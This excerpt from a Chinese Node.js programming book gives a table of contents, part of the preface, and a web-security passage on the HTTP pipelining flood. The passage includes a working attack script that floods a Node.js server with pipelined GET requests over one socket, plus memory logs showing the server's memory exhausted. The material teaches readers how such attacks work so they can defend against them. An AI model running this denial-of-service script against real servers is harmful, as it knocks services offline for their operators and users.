Node.js 实战(双色)

1.11　增加文章检索功能 70
1.12　增加友情链接 72
1.13　增加404页面 73
1.14　增加用户头像 74
1.15　增加转载功能和转载统计 77
1.16　增加日志功能 84
1.17　小结 85
第2章　使用Express+MongoDB搭建多人博客番外篇 87
2.1　番外篇之一——使用Passport 88
2.2　番外篇之二——部署到Heroku 91
2.3　番外篇之三——使用Mongoose 95
2.4　番外篇之四——使用Async 98
2.5　番外篇之五——使用KindEditor 102
2.6　番外篇之六——使用Handlebars 105
2.7　番外篇之七——使用KindEditor 109
第3章　使用Redis搭建漂流瓶服务器 111
3.1　初识Redis 112
3.2　开始漂流瓶之旅 119
3.3　讨厌的海星 127
3.4　扔回海里 127
3.5　今天的瓶子已经用完啦 129
3.6　我的瓶子 131
3.7　女神，我们做朋友吧 134
3.8　部署 137
3.9　小结 139
3.10　参考文献 139
第4章　使用Meteor搭建微博网站 141
4.1　Meteor简介 142
4.2　Meteor的安装与使用 142
4.3　快速入门 145
4.3.1　测试一：客户端和服务器端执行同一段代码 156
4.3.2　测试二：响应式 156
4.3.3　测试三：insecure包 157
4.3.4　测试四：autopublish包 159
4.3.5　测试五：加载顺序 161
4.4　开始搭建微博网站 161
4.4.1　开发环境 161
4.4.2　学习目标 162
4.4.3　创建应 162
4.5　路由功能 165
4.6　用户注册 169
4.7　用户登录 173
4.8　发表微博 174
4.9　使用Markdown 176
4.10　部署 177
4.11　小结 179
4.12　参考文献 179
第5章　使用socket.io+Angular打造单页应用 181
5.1　最简单的聊天室 182
5.1.1　socket.io简介 182
5.1.2　Angular.js 182
5.1.3　开始新建TechNode目录 182
5.1.4　express.js服务器 183
5.1.5　安装Bootstrap和Angular.js 185
5.1.6　搭建聊天室 186
5.1.7　开始与好友聊天 192
5.2　让用户不再匿名 192
5.2.1　添加登录功能 192
5.2.2　用户登录与认证 195
5.2.3　socket.io验证 200
5.2.4　显示用户名和在线用户列表 202
5.2.5　我不喜欢你们 211
5.3　提供不同的房间 211
5.3.1　设计房间列表页面 211
5.3.2　添加房间API 212
5.3.3　实现room的controller 213
5.3.4　提供socket的房间API 214
5.3.5　登录后跳转至房间列表 215
5.3.6　房间列表 216
5.3.7　进入单独的房间 219
5.3.8　让消息只在房间内传递 224
5.3.9　用户离开房间 225
5.3.10　坏代码的味道 227
5.4　架构优化与发布 227
5.4.1　项目结构 228
5.4.2　分拆http和socket服务 229
5.4.3　客户端缓存 231
5.4.4　使用Grunt打包TechNode 236
5.4.5　发布TechNode 242
5.4.6　聊天室之旅结束啦 242
第6章　网络爬虫与数据操作 243
6.1　学习目标 244
6.2　网络爬虫 245
6.2.1　相关模块介绍 246
6.2.2　创建网络爬虫前的准备工作 253
6.2.3　获取文章分类列表 254
6.2.4　获取分类下的文章列表 257
6.2.5　获取文章的内容 262
6.2.6　获取文章分类下的所有文章 264
6.2.7　将结果保存到数据库中 267
6.2.8　保存文章分类 269
6.2.9　一个完整的爬虫实例 270
6.3　显示数据库中的数据 279
6.3.1　相关模块介绍 279
6.3.2　创建Web服务器前的工作 280
6.3.3　查询数据 281
6.3.4　博客首页 283
6.3.5　文章页面 285
6.4　自动更新文章数据 286
6.4.1　相关模块介绍 287
6.4.2　准备工作 290
6.4.3　定时执行更新任务 290
6.5　让程序更稳定地运行 291
6.5.1　处理uncaughtException事件 291
6.5.2　使用pm2来启动程序 291
6.5.3　安装pm2 292
6.5.4　启动和停止程序 292
6.6　处理 GBK 编码的网页 292
6.7　小结 294
6.8　参考文献 294
第7章　Node.js的进程与线程 295
7.1　Node.js和PHP 296
7.2　单线程的Node.js 298
7.3　单线程的优缺点 298
7.4　多线程 300
7.5　多进程 305
7.6　多进程和多线程使用的比较 310
7.7　总结 314
7.8　参考文献 315
第8章　发布一个Package 317
8.1　Node.js包解决的问题 318
8.2　创建package.json 318
8.3　设计package的文件目录 319
8.4　纯js包开发 321
8.5　安装node-gyp 323
8.6　创建binding.byp 324
8.7　C++插件包开发 324
8.8　包的测试 330
8.9　跨平台测试 333
8.10　readme.md 334
8.11　发布到GitHub 334
8.12　发布到npm 334
8.13　状态图标 335
8.14　总结 336
8.15　参考文献 337
第9章　Web安全实战 339
9.1　什么是Web安全 340
安全的定义和意识 340
9.2　Node.js中的Web安全 341
HTTP管道洪水漏洞 341
9.3　SQL注入 343
9.4　XSS脚本攻击 345
9.5　CSRF请求伪造 350
9.6　应用层DoS拒绝服务 358
9.7　文件路径漏洞 366
9.8　加密安全 372
9.9　小结 375
9.10　参考文献 375

.　　这一章将介绍Node.js进程和线程的工作机制，这也是本书唯一一个讲解原理比较多的章节，通过学习本章，读者将对Node.js单线程异步的架构有更深入的理解。
　　第8章发布一个 Package
　　这一章将会带领读者从无到有地创建一个让Node.js支持多线程开发的Package，包括对Package的代码部署、接口设计，C++插件、libuv库和Package测试都有详细的介绍，最终将开发好的libuv_thread 包发布到npm上。
　　第9章Web安全实战
　　这一章涵盖了用Node.js进行Web开发可能面临的各种安全漏洞，通过对各种Web攻击实例的分析，让读者对Web安全有更全面和深入的认识。
　　致谢
　　首先，感谢电子工业出版社博文视点的张国霞编辑和顾慧芳编辑，在她们热心的帮助和指导下，本书才会得以出版。感谢袁锋（@Python发烧友）、朴灵、谢聘超（@圈圈套圈圈）为本书慷慨作序，还要感谢寸志、雷宗民、吴中骅在百忙之中抽出时间来参与本书的创作，没有他们的呕心沥血，便不会完成此书。当然还有广大 CNode 社区和群里的小伙伴们，是你们的支持让我鼓起勇气写书。最后，献给我的家人和女朋友，我爱你们。
　　如果您对本书有任何评论或建议，可以通过邮箱与我联系（gxqzk@126.com），真诚欢迎您的意见与反馈。
　　赵坤
　　2014年3月
　　

.　　var buf = new Buffer(1024*1024);//1mb buffer
　　buf.fill('h');
　　http.createServer(function (request, response) {
　　response.writeHead(200, {'Content-Type': 'text/plain'});
　　response.end(buf);
　　}).listen(8124);
　　console.log(process.memoryUsage());
　　setInterval(function(){//per minute memory usage
　　console.log(process.memoryUsage());
　　},1000*60)
　　上述代码是我们启动了一个Node.js服务器、监听8124端口、响应1MB的字符h、同时每分钟打印Node.js内存使用情况，方便我们在执行攻击脚本之后查看服务器的内存使用情况。
　　在另外一台同样配置的服务器上启动如下攻击脚本：
　　var net = require('net');
　　var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
　　var i = 1000000;//10W次的发送
　　var client = net.connect({port: 8124, host:'192.168.28.4'},
　　function() { //'connect' listener
　　while(i--){
　　client.write(attack_str);
　　}
　　});
　　client.on('error', function(e) {
　　console.log('attack success');
　　});
　　我们的攻击脚本加载了net模块，然后定义了一个基于HTTP协议的GET方法的请求头，再然后我们使用tcp连接到Node.js服务器，循环发送10W次GET请求，但是不监听服务器端响应事件，也就无法对服务器端响应的stream流进行消费。在攻击脚本启动10分钟后，Web服务器打印的内存使用情况如下：
　　{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
　　{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
　　{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
　　{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }
　　我们在服务器执行top命令，查看系统内存的使用情况如下：
　　Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers可以看到，我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存，更可怕的是这部分内存不会自动释放，需要手动重启进程才能回收。攻击脚本执行之后Node.js进程占用内存比之前提高近200倍，如果有2～3个恶意攻击socket连接，服务器物理内存必然用完，然后开始频繁地交换，从而失去响应或者进程崩溃。